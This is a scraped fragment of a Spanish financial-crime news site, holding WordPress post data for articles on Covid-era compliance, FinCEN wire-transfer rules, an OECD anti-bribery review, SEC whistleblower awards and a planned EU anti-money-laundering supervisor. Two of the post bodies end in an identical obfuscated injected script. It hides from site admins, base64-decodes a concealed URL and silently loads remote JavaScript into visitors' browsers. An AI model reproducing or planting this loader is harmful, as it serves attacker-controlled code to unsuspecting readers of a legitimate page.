informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones 